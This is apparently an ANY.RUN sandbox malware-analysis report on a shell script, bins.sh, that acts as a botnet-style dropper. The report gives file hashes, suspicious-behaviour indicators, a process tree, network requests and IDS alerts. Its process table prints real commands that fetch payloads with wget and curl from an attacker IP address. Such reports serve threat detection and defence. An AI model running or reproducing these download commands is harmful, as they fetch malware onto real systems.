Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/535b0a00-b202-493f-b1e8-4e0e41f48e95
Verdict:	Malicious activity
Analysis date:	January 10, 2025, 18:28:40
OS:	Ubuntu 22.04.2 LTS
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	DA6F190417C76850C3357EFFA8BC0E21
SHA1:	63F340D157530EA637E66BA28F56129DAD5E975A
SHA256:	9615FFDDDA795496C21B1419476A36C0BDE05234DEFAF4B49D91833100D173D2
SSDEEP:	192:cHjPfr2oemRCTx8jLbMg4cVkA0bfr2oemBhHjejLbMgG:FGCTx8jLbMg4SkXe8AjLbMgG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
No malicious indicators.
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 38750)
- Executes commands using command-line interpreter
  - sudo (PID: 38753)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38938)
  - curl (PID: 38844)
  - curl (PID: 38968)
  - curl (PID: 39127)
  - curl (PID: 39255)
  - curl (PID: 39340)
  - curl (PID: 39371)
  - curl (PID: 39578)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38754)
- Uses wget to download content
  - bash (PID: 38754)
- Connects to the server without a host name
  - wget (PID: 38999)
  - busybox (PID: 39089)
  - wget (PID: 39094)
  - wget (PID: 39060)
  - busybox (PID: 39121)
  - wget (PID: 39222)
  - curl (PID: 39127)
  - busybox (PID: 39153)
  - busybox (PID: 39184)
  - busybox (PID: 39217)
  - wget (PID: 39190)
  - wget (PID: 39158)
  - wget (PID: 39126)
  - wget (PID: 39282)
  - busybox (PID: 39278)
  - curl (PID: 39255)
  - wget (PID: 39254)
  - busybox (PID: 39250)
  - busybox (PID: 39335)
  - wget (PID: 39339)
  - wget (PID: 39311)
  - busybox (PID: 39394)
  - curl (PID: 39371)
  - curl (PID: 39340)
  - wget (PID: 39370)
  - busybox (PID: 39307)
  - wget (PID: 39398)
  - busybox (PID: 39423)
  - busybox (PID: 39366)
  - wget (PID: 39427)
  - busybox (PID: 39455)
  - busybox (PID: 39514)
  - wget (PID: 39518)
  - curl (PID: 39578)
  - wget (PID: 39459)
  - busybox (PID: 39485)
  - wget (PID: 39489)
  - busybox (PID: 39573)
  - busybox (PID: 39545)
  - busybox (PID: 39630)
  - busybox (PID: 39602)
  - wget (PID: 39549)
  - wget (PID: 39606)
  - wget (PID: 39577)
- Checks the user who created the process
  - cron (PID: 39641)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

490

Monitored processes

282

Malicious processes

15

Suspicious processes

6

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38749	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 256
38750	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38751	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38752	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38753	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 256
38754	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 256
38755	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38756	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38757	wget http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 2048
38758	curl -O http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

0

Suspicious files

0

Text files

0

Unknown types

0

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

85

TCP/UDP connections

93

DNS requests

12

Threats

28

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
38757	wget	GET	404	94.154.35.94:80	http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7	unknown	—	—	—
—	—	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38800	busybox	GET	404	94.154.35.94:80	http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7	unknown	—	—	—
—	—	GET	404	94.154.35.94:80	http://94.154.35.94/bins/FXPK7AX2g3LFNBoYQAWreY5JJnCAwimdJ7	unknown	—	—	—
38810	wget	GET	404	94.154.35.94:80	http://94.154.35.94/bins/XpkmTcEXzn7DlncYwyAbeJoDWZmVbosj06	unknown	—	—	—
—	—	GET	404	94.154.35.94:80	http://94.154.35.94/bins/XpkmTcEXzn7DlncYwyAbeJoDWZmVbosj06	unknown	—	—	—
38872	wget	GET	404	94.154.35.94:80	http://94.154.35.94/bins/93XWU815uZAJp64BK2U8kjagDNvgOFOdNy	unknown	—	—	—
38837	busybox	GET	404	94.154.35.94:80	http://94.154.35.94/bins/XpkmTcEXzn7DlncYwyAbeJoDWZmVbosj06	unknown	—	—	—
38843	wget	GET	404	94.154.35.94:80	http://94.154.35.94/bins/GRUZoeTdtpRJ9IadDJdo0XlSVEyteq00uw	unknown	—	—	—
38867	busybox	GET	404	94.154.35.94:80	http://94.154.35.94/bins/GRUZoeTdtpRJ9IadDJdo0XlSVEyteq00uw	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.49:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	212.102.56.179:443	odrs.gnome.org	Datacamp Limited	DE	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
512	snapd	185.125.188.55:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38757	wget	94.154.35.94:80	—	WINDSTREAM	US	unknown
—	—	94.154.35.94:80	—	WINDSTREAM	US	unknown
38800	busybox	94.154.35.94:80	—	WINDSTREAM	US	unknown
38810	wget	94.154.35.94:80	—	WINDSTREAM	US	unknown
38837	busybox	94.154.35.94:80	—	WINDSTREAM	US	unknown

DNS requests

Domain	IP	Reputation
google.com	142.250.185.110 2a00:1450:4001:831::200e	whitelisted
connectivity-check.ubuntu.com	185.125.190.49 185.125.190.97 91.189.91.48 185.125.190.48 185.125.190.98 185.125.190.18 91.189.91.96 91.189.91.97 185.125.190.96 185.125.190.17 91.189.91.98 91.189.91.49 2620:2d:4000:1::22 2001:67c:1562::23 2001:67c:1562::24 2620:2d:4000:1::2a 2620:2d:4002:1::196 2620:2d:4000:1::96 2620:2d:4000:1::23 2620:2d:4000:1::97 2620:2d:4000:1::98 2620:2d:4002:1::198 2620:2d:4002:1::197 2620:2d:4000:1::2b	whitelisted
odrs.gnome.org	212.102.56.179 169.150.255.181 195.181.175.41 169.150.255.184 195.181.170.19 207.211.211.27 37.19.194.80 2a02:6ea0:c700::18 2a02:6ea0:c700::107 2a02:6ea0:c700::112 2a02:6ea0:c700::101 2a02:6ea0:c700::19 2a02:6ea0:c700::21 2a02:6ea0:c700::11	whitelisted
api.snapcraft.io	185.125.188.55 185.125.188.59 185.125.188.54 185.125.188.58 2620:2d:4000:1010::42 2620:2d:4000:1010::117 2620:2d:4000:1010::2e6 2620:2d:4000:1010::6d	whitelisted
34.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad

Add for printing

No debug info

General Info

bins.sh

DA6F190417C76850C3357EFFA8BC0E21

63F340D157530EA637E66BA28F56129DAD5E975A

9615FFDDDA795496C21B1419476A36C0BDE05234DEFAF4B49D91833100D173D2

192:cHjPfr2oemRCTx8jLbMg4cVkA0bfr2oemBhHjejLbMgG:FGCTx8jLbMg4SkXe8AjLbMgG

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

SUSPICIOUS

Modifies file or directory owner

Executes commands using command-line interpreter

Reads /proc/mounts (likely used to find writable filesystems)

Executes the "rm" command to delete files or directories

Uses wget to download content

Connects to the server without a host name

Checks the user who created the process

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings